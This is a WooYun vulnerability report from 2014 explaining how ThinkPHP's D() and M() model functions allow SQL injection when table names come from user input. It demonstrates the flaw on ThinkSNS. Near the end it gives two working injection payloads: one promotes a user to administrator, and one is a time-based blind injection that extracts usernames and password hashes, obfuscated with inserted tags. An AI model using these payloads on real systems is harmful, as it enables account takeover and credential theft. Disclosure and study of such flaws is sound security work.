当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089437

漏洞标题:从ThinkPHP谈基于框架开发程序的安全性二(有开源程序实例)

相关厂商:ThinkPHP

漏洞作者: xfkxfk

提交时间:2014-12-31 10:21

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2014-12-31: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-24: 细节向核心白帽子及相关领域专家公开
2015-03-06: 细节向普通白帽子公开
2015-03-16: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

从ThinkPHP谈基于框架开发程序的安全性二,继续讨论基于框架开发可能带来的问题,厂商忽略不忽略都没关系,主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。

详细说明:

首先我们来看看官方文档:
http://document.thinkphp.cn/manual_3_2.html#model_instance
这里主要介绍了模型实例化的一些方法
终点介绍了D方法和M方法的使用
D方法实例化

<?php
//实例化模型
$User = D('User');
// 相当于 $User = new \Home\Model\UserModel();
// 执行具体的数据操作
$User->select();


M方法实例化

// 使用M方法实例化
$User = M('User');
// 和用法 $User = new \Think\Model('User'); 等效
// 执行其他的数据操作
$User->select();


最后官方提到:

我们在实例化的过程中,经常使用D方法和M方法。
这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会自动调用M方法。


问题:
那么,要是我们在实例化模型时,程序员想动态传入模型内容咧?;例如:

......
$table = I('post.table_name');
$model = D($table);
//$model = M($table);
$row = $model->where("role=".$role)->find();


这样是不是可行
我们来写个例子看一下。

public function test(){
if (IS_POST) {
$role = I('post.role', '', 'trim');
if (empty($role)) {
$this->error('角色不能为空');
}
$map['role'] = $role;
$table = I('post.table_name');
$model = D($table);
//$model = M($table);
$row = $model->where($map)->find();
if (empty($row)) {
echo 0;
}else{
echo 1;
var_dump($row);
}
}
}


这里我们动态传入要实例化的模型类

1.png


可以看到我们正常传入user模型,这里执行正常
我们来看看代码
先看看D函数:/ThinkPHP/Common/functions.php

/**
* 实例化模型类 格式 [资源://][模块/]模型
* @param string $name 资源地址
* @param string $layer 模型层名称
* @return Model
*/
function D($name='',$layer='') {
if(empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer? : C('DEFAULT_M_LAYER');
if(isset($_model[$name.$layer]))
return $_model[$name.$layer];
$class = parse_res_name($name,$layer);
if(class_exists($class)) {
$model = new $class(basename($name));
}elseif(false === strpos($name,'/')){
// 自动加载公共模块下面的模型
if(!C('APP_USE_NAMESPACE')){
import('Common/'.$layer.'/'.$class);
}else{
$class = '\\Common\\'.$layer.'\\'.$name.$layer;
}
$model = class_exists($class)? new $class($name) : new Think\Model($name);
}else {
Think\Log::record('D方法实例化没找到模型类'.$class,Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name.$layer] = $model;
return $model;
}


当class没有定义时
$class = '\\Common\\'.$layer.'\\'.$name.$layer;
然后:$model = class_exists($class)? new $class($name) : new Think\Model($name);
此时,实例化model,new Think\Model($name);
继续跟进Model的实例化过程:

/**
* 架构函数
* 取得DB类的实例对象 字段检查
* @access public
* @param string $name 模型名称
* @param string $tablePrefix 表前缀
* @param mixed $connection 数据库连接信息
*/
public function __construct($name='',$tablePrefix='',$connection='') {
// 模型初始化
$this->_initialize();
// 获取模型名称
if(!empty($name)) {
if(strpos($name,'.')) { // 支持 数据库名.模型名的 定义
list($this->dbName,$this->name) = explode('.',$name);
}else{
$this->name = $name;
}
}elseif(empty($this->name)){
$this->name = $this->getModelName();
}
// 设置表前缀
if(is_null($tablePrefix)) {// 前缀为Null表示没有前缀
$this->tablePrefix = '';
}elseif('' != $tablePrefix) {
$this->tablePrefix = $tablePrefix;
}elseif(!isset($this->tablePrefix)){
$this->tablePrefix = C('DB_PREFIX');
}
// 数据库初始化操作
// 获取数据库操作对象
// 当前模型有独立的数据库连接信息
$this->db(0,empty($this->connection)?$connection:$this->connection,true);
}
var_dump($this);//这里我们dump看一下实例化后,有哪些属性


这里当name不为空时
$this->name = $name;
将name,就是我们传入的值赋给了实例化的model做了属性
那么,我们传入恶意的数据进入模型类呢?会不会引发问题?
这里我们加一个恶意的传值进去实例化,看的更清楚

4.png


可以看到,传入恶意的值,引发了sql报错,恶意数据直接带入了模型内,导致问题产生

2.png


看结果,上面的答案是:

在动态传入要实例化的模型类时,没有对传入的模型类进行处理,直接赋值数据表,然后进行查询,这里相当于我们控制了查询是的数据表,当传入恶意数据时,导致SQL注入漏洞。


3.png


可能官方说没让程序员这么用
或者大家会说这样用的人太少了
其实,这都说的通,我们来看看实例ThinkSNS
文件/apps/public/Lib/Action/FeedAction.class.php

public function shareFeed()
{
// 获取传入的值
$post = $_POST;
// 安全过滤
foreach($post as $key => $val) {
$post[$key] = t($post[$key]);
}
// 过滤内容值
$post['body'] = filter_keyword($post['body']);

// 判断资源是否删除
if(empty($post['curid'])) {
$map['feed_id'] = $post['sid'];
} else {
$map['feed_id'] = $post['curid'];
}
$map['is_del'] = 0;
$isExist = model('Feed')->where($map)->count();
if($isExist == 0) {
$return['status'] = 0;
$return['data'] = '内容已被删除,转发失败';
exit(json_encode($return));
}
// 进行分享操作
$return = model('Share')->shareFeed($post, 'share');


变量post直接冲POST接受参数
然后遍历变量post的值,使用 t 函数进行过滤,t 函数的处理过程就不在赘述,存在绕过
最后变量post进入shareFeed函数,跟进
文件/addons/model/ShareModel.class.php:

public function shareFeed($data, $from = 'share', $lessUids = null)
{
......
if(!$pk = D($data['type'], $data['app_name'])->getPk()) {
$pk = $data['type'].'_id';
}
D($data['type'], $data['app_name'])->setInc('repost_count', "`{$pk}`={$data['sid']}", 1);
if($data['curid'] != $data['sid'] && !empty($data['curid'])) {
if(!$pk = D($data['curtable'])->getPk()) {
$pk = $data['curtable'].'_id';
}
D($data['curtable'])->setInc('repost_count', "`{$pk}`={$data['curid']}", 1);
D($data['curtable'])->cleanCache($data['curid']);
}
D($data['type'],$data['app_name'])->cleanCache($data['sid']);
} else {
$return['data']=model('Feed')->getError();
}


这里的data就是传进来的psot
$data['type'],$data['app_name'],$data['curtable']进入了D函数
此时已经产生了SQL注入漏洞
漏洞证明,提升普通用户为管理员等:

http://localhost/thinksns/index.php?app=public&mod=feed&act=shareFeed
curid=1&sid=1&app_name=weibo&curtable=user_group_link set user_group_id = 1 whe<a>re uid = 2%23aaa
http://localhost/thinksns/index.php?app=public&mod=feed&act=shareFeed


还有文件/addons/widget/CommentWidget/CommentWidget.class.php

public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();


$data ['table'] = $data ['table_name']
然后$dao = M ( $data ['table'] );
同样,我们可控的元素进入了实例化Model中
这里导致盲注:

http://localhost/thinksns/index.php?app=widget&mod=comment&act=addcomment
table_name=user whe<a>re 1=if(mid((sel<a>ect concat(login,0x23,password) fr<a>om ts_user limit 1),1,1)=char(97),sle<a>ep(0.1),2)%23&content=test&row_id=111aaa
http://localhost/thinksns/index.php?app=widget&mod=comment&act=addcomment


还有文件/addons/model/CommentModel.class.php存在多出这样的问题
很多这样的问题就不在一一列举了
最后,不管这是谁的问题,如果使用不当,或者和是这么使用了就会产生漏洞
主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。

漏洞证明:

3.png

修复方案:

可控实例化对象时,处理后在赋值与实例对象

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

这个说是TP的漏洞有点牵强,充其量算是Thinksns的漏洞,否则就什么都怪到框架头上了。

漏洞Rank:10 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-31 10:22 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  2. 2014-12-31 10:24 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    学习的是思路

  3. 2014-12-31 10:31 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    @ThinkPHP 我不是说了么,这只是个坑而已,看谁往进跳了,只是提醒大家不要给自己挖坑